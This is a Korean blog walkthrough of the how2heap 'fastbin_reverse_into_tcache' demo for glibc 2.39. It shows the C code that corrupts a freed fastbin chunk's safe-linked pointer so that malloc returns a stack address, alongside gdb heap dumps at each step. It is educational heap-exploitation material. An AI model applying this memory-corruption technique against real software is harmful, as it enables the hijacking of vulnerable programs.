콘텐츠로 건너뛰기

[how2heap/glibc2.39] fastbin_reverse_into_tcache

환경

Ubuntu GLIBC 2.39-0ubuntu8.4 / Ubuntu 24.04.1 LTS x86_64

요약

fastbin으로 malloc할때 지역변수 스택 주소로 할당받는 방법에 설명한다.
(fastbin_dup_into_stack 기법과 유사)

1. 0x40 크기의 메모리를 14번 할당하고, 처음 기준 7개의 tcache들 할당을 다시 해제함.

2. ptrs[7]에 할당된 메모리를 해제함. 여기서 ptrs[7]이 손상시킬 청크임.

3. 나머지 ptrs[8]~ptrs[13] 메모리들도 할당 해제함.

4. size_t stack_var[6]; 지역변수 주소는 0x7fffffffdfc0임. 해당 지역변수 값들은 전부 임의 값인 0xcdcdcdcdcdcdcdcd 로 채움(굳이 안채워도 될듯?), 힙 할당을 통해 받으려는 스택 주소는 0x7fffffffdfd0,stack_var[2]임.

따라서 할당해제되었던 victim(= ptrs[7]) 청크에 (size_t stack_var[6]; 지역변수 주소 ^ (victim >> 12)) 연산과 함께 safe-linking 보호기법이 적용된 fd 값으로 덮어씀.

5. ptrs[0]~ptrs[6]까지 malloc(0x40)에 의해 할당받음. 여기서는 tache를 비우기 위해 7번 할당시켰음..

6. 이제 한번 malloc(0x40)하면, stack_var[2] ~ [3] 값이 변조되고,

7. 한번 더 malloc(0x40)하면, stack_var[2] 인 스택 주소로 할당받을 수 있음.

빌드 특이사항

-Os 옵션으로 컴파일하면 안됨.

gcc -O0 -o fastbin_reverse_into_tcache fastbin_reverse_into_tcache.c

내용

1.

0x40 크기의 메모리를 14번 할당함.

7개의 tcache들이 채워지고, 나머지 7개의 fastbin들이 할당됨. tcache들은 사용하지 않기 때문에 처음 기준 7개의 tcache들 할당을 다시 해제함.

즉 ptrs[7] ~ ptrs[13]까지 7개가 0x50크기만큼 청크들이 fastbin에 할당됨.

출 번역내용.

이 공격은 unsorted_bin_attack과 유사한 효과를 가지도록 설계되었으며, 작은 할당 크기(allocsize <= 0x78)에서도 작동합니다. 목표는 malloc(allocsize) 호출 시 스택에 큰 unsigned 값을 쓰도록 설정하는 것입니다.

다음 패치 이후: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41 이 공격을 수행하려면 힙 주소 leak이 필요합니다. 같은 패치는 또한 tcache에서 반환되는 청크가 올바르게 정렬되도록 보장합니다.

먼저 tcache를 채우기 위해 free(allocsize)를 최소 7번 호출해야 합니다.

(7번보다 많이 호출해도 괜찮습니다.)

코드:

const size_t allocsize = 0x40;

int main(){
	setbuf(stdout, NULL);

	printf("\n"
		   "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
		   "except it works with a small allocation size (allocsize <= 0x78).\n"
		   "The goal is to set things up so that a call to malloc(allocsize) will write\n"
		   "a large unsigned value to the stack.\n\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
		   "An heap address leak is needed to perform this attack.\n"
		   "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

	// Allocate 14 times so that we can free later.
	char* ptrs[14];
	size_t i;
	for (i = 0; i < 14; i++) {
		ptrs[i] = malloc(allocsize);
	}
	
	printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
	  	   "(More than 7 times works fine too.)\n\n");
	
	// Fill the tcache.
	for (i = 0; i < 7; i++) free(ptrs[i]);

결과:

This attack is intended to have a similar effect to the unsorted_bin_attack,
except it works with a small allocation size (allocsize <= 0x78).
The goal is to set things up so that a call to malloc(allocsize) will write
a large unsigned value to the stack.

After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
An heap address leak is needed to perform this attack.
The same patch also ensures the chunk returned by tcache is properly aligned.

First we need to free(allocsize) at least 7 times to fill the tcache.
(More than 7 times works fine too.)
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Used                None              None
0x555555559510      0x0                 0x50                 Used                None              None
0x555555559560      0x0                 0x50                 Used                None              None
0x5555555595b0      0x0                 0x50                 Used                None              None
0x555555559600      0x0                 0x50                 Used                None              None
0x555555559650      0x0                 0x50                 Used                None              None
0x5555555596a0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0
gdb-peda$

2.

ptrs[7]에 할당된 메모리를 해제함.
ptrs[7]은 우리가 손상시킬 청크임 ㅇㅇ

출력 번역내용.

다음으로 free할 포인터는 우리가 손상시킬 청크입니다: 0x5555555594d0

지금 손상시키든 나중에 손상시키든 상관없습니다.

tcache가 이미 가득 찼기 때문에 이 청크는 fastbin에 들어가게 됩니다.

char* victim = ptrs[7];
	printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
		   "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
		   "already full, it will go in the fastbin.\n\n", victim);
	free(victim);

결과:

The next pointer that we free is the chunk that we're going to corrupt: 0x5555555594d0
It doesn't matter if we corrupt it now or later. Because the tcache is
already full, it will go in the fastbin.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed        0x555555559              None
0x555555559510      0x0                 0x50                 Used                None              None
0x555555559560      0x0                 0x50                 Used                None              None
0x5555555595b0      0x0                 0x50                 Used                None              None
0x555555559600      0x0                 0x50                 Used                None              None
0x555555559650      0x0                 0x50                 Used                None              None
0x5555555596a0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x5555555594c0 --> 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0

3.

나머지 ptrs[8]~ptrs[13] 메모리들도 할당 해제함.

출력번역 내용.

다음으로 1개에서 6개 사이의 포인터를 더 free해야 합니다. 이들 역시 fastbin에 들어가게 됩니다.

만약 우리가 덮어쓰려는 스택 주소의 값이 0이 아니라면, 정확히 6개의 포인터를 free해야 합니다.

그렇지 않으면 공격이 segmentation fault를 일으킵니다.

하지만 스택에 있는 값이 0이라면, 포인터 하나만 free해도 충분합니다.

코드:

	printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
		   "in the fastbin. If the stack address that we want to overwrite is not zero\n"
		   "then we need to free exactly 6 more pointers, otherwise the attack will\n"
		   "cause a segmentation fault. But if the value on the stack is zero then\n"
		   "a single free is sufficient.\n\n");
	
	// Fill the fastbin.
	for (i = 8; i < 14; i++) free(ptrs[i]);

결과:

Next we need to free between 1 and 6 more pointers. These will also go
in the fastbin. If the stack address that we want to overwrite is not zero
then we need to free exactly 6 more pointers, otherwise the attack will
cause a segmentation fault. But if the value on the stack is zero then
a single free is sufficient.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed        0x555555559              None
0x555555559510      0x0                 0x50                 Freed     0x55500000c199              None
0x555555559560      0x0                 0x50                 Freed     0x55500000c049              None
0x5555555595b0      0x0                 0x50                 Freed     0x55500000c039              None
0x555555559600      0x0                 0x50                 Freed     0x55500000c0e9              None
0x555555559650      0x0                 0x50                 Freed     0x55500000c359              None
0x5555555596a0      0x0                 0x50                 Freed     0x55500000c309              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0
gdb-peda$

4.

size_t stack_var[6]; 지역변수 주소는 0x7fffffffdfc0임.
해당 데이터들은 0xcdcdcdcdcdcdcdcd 값으로 전부 채워짐.
여기서 size_t는 8바이트. 8*6 = 48 = 0x30 = sizeof(stack_var)

타겟으로, 힙 할당을 통해 받으려는 스택 주소는 0x7fffffffdfd0.
(0x7fffffffdfc0 + 0x10 = 0x7fffffffdfd0)

출력번역 내용.

우리가 타겟으로 삼으려는 스택 주소: 0x7fffffffdfd0
현재 이 주소의 값은 0xcdcdcdcdcdcdcdcd입니다.
이제 버퍼 오버플로우나 use-after-free 같은 취약점을 이용해 주소 0x5555555594d0에 있는 next 포인터를 덮어씁니다.

코드:

	// Create an array on the stack and initialize it with garbage.
	size_t stack_var[6];
	memset(stack_var, 0xcd, sizeof(stack_var));
	
	printf("The stack address that we intend to target: %p\n"
		   "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);
	
	printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
			"to overwrite the next pointer at address %p\n\n", victim);

결과:

The stack address that we intend to target: 0x7fffffffdfd0
It's current value is 0xcdcdcdcdcdcdcdcd
Now we use a vulnerability such as a buffer overflow or a use-after-free
to overwrite the next pointer at address 0x5555555594d0
gdb-peda$ x/7gx 0x7fffffffdfc0
0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd      0xcdcdcdcdcdcdcdcd
0x7fffffffdfd0: 0xcdcdcdcdcdcdcdcd      0xcdcdcdcdcdcdcdcd
0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd      0xcdcdcdcdcdcdcdcd
0x7fffffffdff0: 0x00005555555592a0

5.

할당해제되었던 victim(이하 ptrs[7]) 청크에
(size_t stack_var[6]; 지역변수 주소 ^ (victim >> 12)) 연산과 함께
safe-linking 보호기법이 적용된 fd 값으로 덮어씀.

(0x7fffffffdfc0 ^ (0x5555555594d0 >> 12)) = 0x7ffaaaaa8a99

주석 번역내용:

victim의 연결 리스트 포인터를 덮어씁니다.
다음 작업은 victim의 주소를 알고 있다는 전제하에 이루어지므로, 힙 주소 leak이 필요합니다.

코드:

//------------VULNERABILITY-----------
	
	// Overwrite linked list pointer in victim.
	// The following operation assumes the address of victim is known, thus requiring
	// a heap leak.
	*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
	
	//------------------------------------

결과:

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed     0x7ffaaaaa8a99              None
0x555555559510      0x0                 0x50                 Freed     0x55500000c199              None
0x555555559560      0x0                 0x50                 Freed     0x55500000c049              None
0x5555555595b0      0x0                 0x50                 Freed     0x55500000c039              None
0x555555559600      0x0                 0x50                 Freed     0x55500000c0e9              None
0x555555559650      0x0                 0x50                 Freed     0x55500000c359              None
0x5555555596a0      0x0                 0x50                 Freed     0x55500000c309              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdfc0 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdca32323230 (invaild memory)
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x555555559480 --> 0x555555559430 --> 0x5555555593e0 --> 0x555555559390 --> 0x555555559340 --> 0x5555555592f0 --> 0x5555555592a0
gdb-peda$

6.

ptrs[0]~ptrs[6]까지 malloc(0x40)에 의해 할당받음.

tache를 비우기 위해 7번 할당시킴.

코드:

	printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");
	
	// Empty tcache.
	for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);

결과:

The next step is to malloc(allocsize) 7 times to empty the tcache.
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed     0x7ffaaaaa8a99              None
0x555555559510      0x0                 0x50                 Freed     0x55500000c199              None
0x555555559560      0x0                 0x50                 Freed     0x55500000c049              None
0x5555555595b0      0x0                 0x50                 Freed     0x55500000c039              None
0x555555559600      0x0                 0x50                 Freed     0x55500000c0e9              None
0x555555559650      0x0                 0x50                 Freed     0x55500000c359              None
0x5555555596a0      0x0                 0x50                 Freed     0x55500000c309              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x5555555596a0 --> 0x555555559650 --> 0x555555559600 --> 0x5555555595b0 --> 0x555555559560 --> 0x555555559510 --> 0x5555555594c0 --> 0x7fffffffdfc0 (size error (0xcdcdcdcdcdcdcdc8)) --> 0xcdcdcdca32323230 (invaild memory)
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
gdb-peda$
gdb-peda$ x/32gx $rbp-0x80
0x7fffffffdff0: 0x0000555555559480      0x0000555555559430
0x7fffffffe000: 0x00005555555593e0      0x0000555555559390
0x7fffffffe010: 0x0000555555559340      0x00005555555592f0
0x7fffffffe020: 0x00005555555592a0

7.

stack_var[0] ~ stack_var[6]까지 스택에 있는 값을 출력해줌.

출력 번역내용:

이제 스택에 있는 배열의 내용을 출력해 봅시다.
아직 수정되지 않았다는 것을 보여주기 위함입니다.

코드:

	printf("Let's just print the contents of our array on the stack now,\n"
			"to show that it hasn't been modified yet.\n\n");
	
	for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

결과:

Let's just print the contents of our array on the stack now,
to show that it hasn't been modified yet.

0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfc8: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfd0: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfd8: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfe8: 0xcdcdcdcdcdcdcdcd

8.

이제 한번 malloc(0x40)하면, stack_var[2] ~ [3] 값이 변조됨.
힙 포인터가 스택에 쓰이는듯.

stack_var[2] 값은 0x5552aaaa6b2d.
stack_var[3] 값은 0x5bceaada58f8f2d8.

출력 번역 내용:

다음 할당에서 스택이 덮어쓰기됩니다. tcache는 비어 있지만 fastbin은 비어 있지 않기 때문에, 다음 할당은 fastbin에서 가져옵니다.
또한 fastbin에 있는 7개의 청크가 tcache를 다시 채우기 위해 사용됩니다.

이 7개의 청크는 역순으로 tcache에 복사되므로,
우리가 타겟으로 삼은 스택 주소가 tcache의 첫 번째 청크가 됩니다.

이 청크는 리스트에서 다음 청크를 가리키는 포인터를 포함하고 있기 때문에,
힙 포인터가 스택에 쓰이게 됩니다.

앞서 우리는 fastbin에 6개 미만의 포인터를 free하더라도 공격이 작동한다고 말했는데,
이는 스택에 있는 값이 0일 때만 가능합니다.

왜냐하면 스택에 있는 값이 연결 리스트의 next 포인터로 처리되기 때문에,
유효한 포인터가 아니거나 null이 아닐 경우 충돌이 발생하기 때문입니다.

이제 스택에 있는 배열의 내용은 다음과 같습니다:

코드:

printf("\n"
		   "The next allocation triggers the stack to be overwritten. The tcache\n"
		   "is empty, but the fastbin isn't, so the next allocation comes from the\n"
		   "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
		   "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
		   "address that we are targeting ends up being the first chunk in the tcache.\n"
		   "It contains a pointer to the next chunk in the list, which is why a heap\n"
		   "pointer is written to the stack.\n"
		   "\n"
		   "Earlier we said that the attack will also work if we free fewer than 6\n"
		   "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
		   "That's because the value on the stack is treated as a next pointer in the\n"
		   "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
		   "\n"
		   "The contents of our array on the stack now look like this:\n\n");
	
	malloc(allocsize);
	
  for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);

결과:

The next allocation triggers the stack to be overwritten. The tcache
is empty, but the fastbin isn't, so the next allocation comes from the
fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.
Those 7 chunks are copied in reverse order into the tcache, so the stack
address that we are targeting ends up being the first chunk in the tcache.
It contains a pointer to the next chunk in the list, which is why a heap
pointer is written to the stack.

Earlier we said that the attack will also work if we free fewer than 6
extra pointers to the fastbin, but only if the value on the stack is zero.
That's because the value on the stack is treated as a next pointer in the
linked list and it will trigger a crash if it isn't a valid pointer or null.

The contents of our array on the stack now look like this:

0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfc8: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfd0: 0x5552aaaa6b2d
0x7fffffffdfd8: 0x5bceaada58f8f2d8
0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd
0x7fffffffdfe8: 0xcdcdcdcdcdcdcdcd
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed     0x55500000c079              None
0x555555559510      0x0                 0x50                 Freed     0x55500000c029              None
0x555555559560      0x0                 0x50                 Freed     0x55500000c099              None
0x5555555595b0      0x0                 0x50                 Freed     0x55500000c349              None
0x555555559600      0x0                 0x50                 Freed     0x55500000c339              None
0x555555559650      0x0                 0x50                 Freed        0x555555559              None
0x5555555596a0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0xcdcdcdca32323230 (invaild memory)
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](7): 0x7fffffffdfd0 --> 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660

9.

마지막으로 딱 한번더 malloc(0x40)하면, 스택 주소로 할당받을 수 있음.
stack_var[2] 주소로 할당받았음!

코드:

  char *q = malloc(allocsize);
	printf("\n"
			"Finally, if we malloc one more time then we get the stack address back: %p\n", q);
	
	assert(q == (char *)&stack_var[2]);
	
	return 0;
}

결과:

Finally, if we malloc one more time then we get the stack address back: 0x7fffffffdfd0
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk 
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x50                 Freed        0x555555559              None
0x5555555592e0      0x0                 0x50                 Freed     0x55500000c7f9              None
0x555555559330      0x0                 0x50                 Freed     0x55500000c7a9              None
0x555555559380      0x0                 0x50                 Freed     0x55500000c619              None
0x5555555593d0      0x0                 0x50                 Freed     0x55500000c6c9              None
0x555555559420      0x0                 0x50                 Freed     0x55500000c6b9              None
0x555555559470      0x0                 0x50                 Freed     0x55500000c169              None
0x5555555594c0      0x0                 0x50                 Freed     0x55500000c079              None
0x555555559510      0x0                 0x50                 Freed     0x55500000c029              None
0x555555559560      0x0                 0x50                 Freed     0x55500000c099              None
0x5555555595b0      0x0                 0x50                 Freed     0x55500000c349              None
0x555555559600      0x0                 0x50                 Freed     0x55500000c339              None
0x555555559650      0x0                 0x50                 Freed        0x555555559              None
0x5555555596a0      0x0                 0x50                 Used                None              None
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0xcdcdcdca32323230 (invaild memory)
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x5555555596f0 (size : 0x20910)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x50)   tcache_entry[3](6): 0x5555555594d0 --> 0x555555559520 --> 0x555555559570 --> 0x5555555595c0 --> 0x555555559610 --> 0x555555559660
gdb-peda$
gdb-peda$ x/16gx 0x7fffffffdfc0
0x7fffffffdfc0: 0xcdcdcdcdcdcdcdcd      0xcdcdcdcdcdcdcdcd
0x7fffffffdfd0: 0x00005552aaaa6b2d      0x0000000000000000(수정됨(?))
0x7fffffffdfe0: 0xcdcdcdcdcdcdcdcd      0xcdcdcdcdcdcdcdcd
0x7fffffffdff0: 0x0000555555559480      0x0000555555559430
0x7fffffffe000: 0x00005555555593e0      0x0000555555559390
0x7fffffffe010: 0x0000555555559340      0x00005555555592f0
0x7fffffffe020: 0x00005555555592a0      0x00005555555594d0
0x7fffffffe030: 0x0000555555559520      0x0000555555559570